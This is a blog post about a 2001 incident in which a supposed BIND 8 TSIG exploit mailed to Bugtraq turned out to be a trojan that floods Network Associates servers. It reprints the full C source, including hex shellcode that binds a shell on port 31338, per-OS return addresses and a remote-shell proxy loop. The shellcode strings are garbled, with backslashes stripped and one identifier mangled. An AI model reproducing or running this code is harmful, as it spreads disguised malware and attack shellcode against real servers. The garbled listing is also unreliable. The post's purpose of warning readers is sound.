BIND Trojan Fools Many Looking for Fix
Following bugtraq I found a lot of the traffic following the BIND vulnerability announcement interesting. At some point I got a mail from nobody@replay.com claiming to be a fix for the BIND problem. Turns out the code is a trojan (bugtraq members quickly spotted the malicious code) that floods Network Associates servers. Wired is carrying a sensationalized story on the incident here.
Following is posted the original nobody mail:
>From Anonymous <nobody@replay.com> Wed Jan 31 18:06:24 2001
Date: Thu, 31 Jan 2001 18:06:19 -0400
From: Anonymous <nobody@replay.com>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Bind8 exploit
Message-ID: <C5119AD12E92D311928E009027DE4CCA554903@replay.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Mailer: Internet Mail Service (5.5.2650.21)
/*
* Implements TSIG buffer mismanagement overflow for incorrect signatures. That
* one was really nice bug!
* Thanks NAI for nice bug!
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <string.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#include <signal.h>
#ifndef max
#define max(x,y) (((x)>(y))?(x):(y))
#endif
#define SHELL_OFFSET_1 26
#define SHELL_OFFSET_2 31
#define BIND_PKT_OFF 26 /* offset from beginning of packet */
#define BIND_OKT_SZ 14 /* rr */
#define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2
#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
#define BIND_OFF_03 (SHELL_OFFSET_1*2)
#define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)
char dns_packet[] =
/* TSIG bind req, xe8 used as field separator. */
"x31xc0x48x50x50x31xdbx8dx05x0dx00x00x00xcdx80x83"
"xc4x08x3dx04x03x02x01x7cx05xe8TSIGxe8NAMExe8SIGNATURExe8RSA";
/* zeroes in all shellcodes are allowed - we encode them anyway.. */
char linux_shellcode[] = /* modifyed Aleph1 linux shellcode to
* bind to tcp port 31338. hey aleph1
* :) */
"xebx34x5exbbx01x00x00x00x89xf1xb8x66x00x00x00xcd"
"x80x89x46x14x8dx46x30x89x46x18x31xc0x89x46x20x8d"
"x46x0cx89x46x24xb8x66x00x00x00xbbx0bx00x00x00x8d"
"x4ex14xcdx80xebxefxe8xc7xffxffxffx02x00x00x00x02"
"x00x00x00x11x00x00x00x02x00x00x35xa1x45x03x96xff"
"xffxffxffxefxffxffxffx00x04x00x00x00x00x00x00x02"
"x5fx9ax80x10x00x00x00/bin/sh";
char bsd_shellcode[] =
/* freebsd bind shellcode by LaMerZ , thnx :) */
"xebx37x5ex6ax11x6ax02x6ax02x6ax66x8dx05x61x00x00"
"x00xcdx80x89xc2x6ax10x89xf0x50x31xc0x50x68x24x10"
"x00x00x8dx46x0fx50x52x68x88x00x00x00x8dx05x85x00"
"x00x00xcdx80x83xc4x1cxebxdcxe8xc4xffxffxffx00x02"
"x00x35xa1x45x03x96xe8xb1xffxffxff/bin/sh";
struct remote {
char *osname;
char *bindver;
unsigned long ret; /* return addr */
unsigned long otebp; /* offset ot %ebp,bind specific */
char *shellcode;
} remote[] = {
{
"Linux RedHat 6.0", "8.2.x", 0xbfff0508, 104, linux_shellcode
},
{
"Linux RedHat 6.2", "8.2.x", 0xbfff0a04, 80, linux_shellcode
},
{
"Linux RedHat 7.0", "8.2.x", 0xbfff040a, 84, linux_shellcode
},
{
"Linux Slackware 7", "8.2.x", 0xbfffe123, 20, linux_shellcode
},
{
"Linux Debian (all)", "8.2.x", 0xbfffd0aa, 110, linux_shellcode
},
{
"FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
},
{
"FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
},
{
"FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
},
{
NULL, NULL, 0, 0
}
};
void
usage_func(char *pname)
{
int i;
fprintf(stderr, "Usage: %s remote_addr domainname target_id
", pname);
fprintf(stderr, "Targets:
");
for (i = 0; remote[i].osname; i++)
fprintf(stderr, " %d - %s (%s)
", i, remote[i].osname, remote[i].bindver);
fprintf(stderr, "
");
fprintf(stderr, " Example usage:
");
fprintf(stderr, "$ host -t ns domain.com
");
fprintf(stderr, "domain.com name server dns1.domain.com
");
fprintf(stderr, "$ ./bind8_ex dns1.domain.com domain.com 0
");
fprintf(stderr, " [..expl output..]
");
exit(1);
}
int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
char copy_buff[1024];
int revval;
memcpy(copy_buff, buff, 1024);
revval = buff[SHELL_OFFSET_1];
/* increment record usage count */
revval += BIND_OFF_01;
if (s)
if (!fork())
/* simply copy value to offset */
memcpy(©_buff[offset], &val, sizeof(val));
memcpy(buff, copy_buff, sizeof(copy_buff));
return 0;
}
unsigned long
Resolve(char *h)
{
struct in_addr q;
struct hostent *z;
if ((inet_aton(h, &q)) == 0) {
z = gethostbyname(h);
if (!z)
return -1;
(void) memcpy((void *) &q, (void *) z->h_addr, z->h_length);
}
return q.s_addr;
}
/* pull out a compressed query name */
char *
dnsprintflabel(char *s, char *buf, char *p)
{
unsigned short i, len;
char *b = NULL;
len = (unsigned short) *(p++);
i = len + BIND_PKT_OFF;
/* invalid length? */
if (i)
return NULL;
while (len) {
while (len >= 0xC0) {
if (!b)
b = p + 1;
p = buf + (ntohs(*((unsigned short *) (p - 1))) & ~0xC000);
len = (unsigned short) *(p++);
}
for (i = 0; i < len; i++)
*(s++) = *(p++);
*(s++) = '.';
len = (unsigned short) *(p++);
}
*(s++) = 0;
if (b)
return (b);
return (p);
}
int
proxyloop(int s)
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
sleep(1);
printf("Entering proxyloop..
");
strcpy(snd, "cd /; uname -a; pwd; id;
");
write(s, snd, strlen(snd));
for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(s, &rset);
maxfd = max(fileno(stdin), s) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd) - 2, stdin);
write(s, snd, strlen(snd));
}
if (FD_ISSET(s, &rset)) {
bzero(rcv, sizeof(rcv));
if ((n = read(s, rcv, sizeof(rcv))) == 0)
exit(0);
if (n < 0) {
return -3;
}
fputs(rcv, stdout);
}
}
return 0;
}
int
main(int argc, char *argv[])
{
HEADER *dnsheader;
struct sockaddr_in to;
char expl_buffer[PACKETSZ + 8192];
int off, i, x;
char ch, *remote_addr = NULL, *dmn = NULL;
char *walker;
unsigned char *shellcode;
int align = 0;
unsigned long remote_ip, addr;
int saved_len_1, saved_len_2;
int type = -1;
int fd, fd2;
if (argc != 4) {
usage_func(argv[0]);
}
dmn = strdup(argv[1]);
remote_addr = strdup(argv[2]);
type = atoi(argv[3]);
if (type < 0 || !remote_addr || !dmn) {
usage_func(argv[0]);
}
printf(" [+] Trying to resolve %s ...
", remote_addr);
remote_ip = Resolve(remote_addr);
if (remote_ip == -1) {
fprintf(stderr, " [-] failed to resolve %s
", remote_addr);
exit(1);
} else {
printf(" [+] %s -> %#lx...
", remote_addr, remote_ip);
}
/* block signal to allow these signals in bindshell */
signal(SIGHUP, SIG_IGN);
signal(SIGCHLD, SIG_IGN); /* well.. */
signal(SIGINT, SIG_IGN);
printf(" [+] Remote OS %s, using domain %s
", remote[type].osname, dmn);
printf(" [+] Offset: 0x%08x, bind specific value: %d
", remote[type].ret, remote[type].otebp);
shellcode = (unsigned char *) malloc(PACKETSZ + 8192);
memset(shellcode, 0x90, PACKETSZ);
addr = remote[type].ret;
for (i = 0; i < sizeof(dns_packet); i++)
shellcode[i] = dns_packet[i];
if (i > 0) {
saved_len_1 = i;
}
for (x = 0; x < sizeof(linux_shellcode); i++, x++)
shellcode[i] = linux_shellcode[x];
if (i) {
saved_len_2 = i;
}
for (x = 0; x < sizeof(bsd_shellcode); i++, x++)
shellcode[i] = bsd_shellcode[x];
/* encode offset */
addr = (unsigned long) saved_len_1 - SHELL_OFFSET_1 - 4;
shellcode[SHELL_OFFSET_1 + 3] = (addr >> 24) & 0xff;
shellcode[SHELL_OFFSET_1 + 2] = (addr >> 16) & 0xff;
shellcode[SHELL_OFFSET_1 + 1] = (addr >> 8) & 0xff;
shellcode[SHELL_OFFSET_1] = (addr) & 0xff;
addr = (unsigned long) saved_len_2 - SHELL_OFFSET_2 - 4;
shellcode[SHELL_OFFSET_2 + 3] = (addr >> 24) & 0xff;
shellcode[SHELL_OFFSET_2 + 2] = (addr >> 16) & 0xff;
shellcode[SHELL_OFFSET_2 + 1] = (addr >> 8) & 0xff;
shellcode[SHELL_OFFSET_2] = (addr) & 0xff;
printf(" [+] shellcode length: %d
", i);
/*
* now build packet
* set pointer to itself. dont modify BIND_OFF_02, it was
* bruteforced.. and worked with every bind i sploited.
*/
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
/* setup tsig info */
set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
/* count of records */
if (i > (SHELL_OFFSET_2 - 10)) {
set_ptr(shellcode, BIND_OFF_03, i, 0);
} else {
i += (SHELL_OFFSET_2 / 2);
i -= (SHELL_OFFSET_2 % 2); /* thnx enr1qe! :) */
set_ptr(shellcode, BIND_OFF_03, i, 0);
}
/* store return ADDR !! */
set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);
/* copy and rebuild packet depended stuff */
memcpy(expl_buffer, shellcode, PACKETSZ);
dnsheader = (HEADER *) & expl_buffer;
memset(dnsheader, 0, sizeof(HEADER));
dnsheader->id = htons(getpid());
dnsheader->qr = 1;
dnsheader->aa = 1;
/* tsig query! */
dnsheader->opcode = QUERY;
dnsheader->qdcount = htons(1);
dnsheader->arcount = htons(1);
/*
* encode packet ...
*/
dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)), (char *) ((unsigned long) &expl_buffer[0] + sizeof(HEADER) + 1));
walker = (char *) dnsheader + sizeof(HEADER) + strlen(remote_addr);
PUTSHORT(T_SIG, walker);
/*
* packet is built, connect and sent shellcode. what can be easier?
* :)
*/
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(1);
}
memset(&to, 0, sizeof(to));
to.sin_family = AF_INET;
to.sin_port = htons(53);
to.sin_addr.s_addr = remote_ip;
if ((sendto(fd, &expl_buffer, PACKETSZ, 0, (struct sockaddr *) & to, sizeof(struct sockaddr)) != PACKETSZ)) {
perror("sendto");
exit(1);
}
/* attempt to connect to bindshell on port 31338 */
if ((fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket");
exit(1);
}
/* linux & freebsd shellcodes bindport is same, so dont even check. */
to.sin_port = htons(31338);
if (connect(fd2, (struct sockaddr *) & to, sizeof(struct sockaddr)) < 0) {
perror("connect");
exit(1);
}
proxyloop(fd2);
}